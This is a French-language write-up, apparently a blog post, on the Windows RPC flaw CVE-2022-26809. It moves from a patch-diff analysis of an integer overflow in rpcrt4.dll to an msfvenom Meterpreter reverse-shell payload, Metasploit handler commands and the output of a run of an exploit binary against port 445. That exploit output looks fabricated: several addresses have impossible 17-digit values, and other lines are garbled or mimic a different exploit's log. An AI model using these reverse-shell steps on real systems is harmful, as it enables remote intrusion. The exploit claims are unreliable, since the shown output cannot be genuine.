
CVE-2022-26809 - la faille dans un composant central de Windows (RPC) a obtenu un score CVSS de 9,8 non sans raison, car l'attaque ne nécessite pas d'authentification et peut être exécutée à distance sur un réseau, et peut aboutir à une exécution de code à distance (RCE) avec les privilèges du service RPC, qui dépend du processus hébergeant le runtime RPC. Ce bug critique, avec un peu de chance, permet d'obtenir un accès à un hôte Windows non patché exécutant SMB. La vulnérabilité peut être exploitée aussi bien depuis l'extérieur du réseau pour le pénétrer qu'entre les machines du réseau.
Informations sur le fournisseur
Hôtes vulnérables testés :
Nous mettrons à jour cette liste plus tard. Nous soupçonnons que presque toutes les versions avec SMB actif et le port 445 ouvert seront concernées.
TCP 135,139,445
La CVE indique que les vulnérabilités se situent dans le runtime RPC de Windows, implémenté dans une bibliothèque nommée rpcrt4.dll. Cette bibliothèque runtime est chargée à la fois dans les processus clients et serveurs utilisant le protocole RPC pour communiquer. Nous avons comparé les versions 10.0.22000.434 (mars) et 10.0.22000.613 (patchée) et isolé la liste des modifications.
Les fonctions OSF_SCALL::ProcessResponse et OSF_CCALL::ProcessReceivedPDU sont de nature similaire ; toutes deux traitent les paquets RPC, mais l'une s'exécute côté serveur et l'autre côté client (SCALL et CCALL). En différenciant OSF_SCALL::ProcessReceivedPDU, nous avons remarqué deux blocs de code ajoutés à la nouvelle version.


En examinant le code patché, nous avons vu qu'après QUEUE::PutOnQueue, une nouvelle fonction était appelée. En l'inspectant et en plongeant dans son code, nous avons compris qu'elle vérifie les dépassements d'entiers. En d'autres termes, la nouvelle fonction du patch a été ajoutée pour vérifier qu'une variable entière restait dans une plage de valeurs attendue.

En creusant plus profondément dans le code vulnérable de OSF_SCALL:GetCoalescedBuffer, nous avons remarqué que le bug de dépassement d'entier pouvait conduire à un débordement de tampon sur le tas, où des données sont copiées dans un tampon trop petit pour les contenir. Cela permet à son tour d'écrire des données hors des limites du tampon, sur le tas. Lorsqu'elle est exploitée, cette primitive nous mène à une exécution de code à distance !
Le même appel de vérification de dépassement d'entier a été ajouté dans d'autres fonctions également :
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
La vulnérabilité de dépassement d'entier et la fonction qui l'empêche existent dans les flux d'exécution côté client et côté serveur.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip port
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!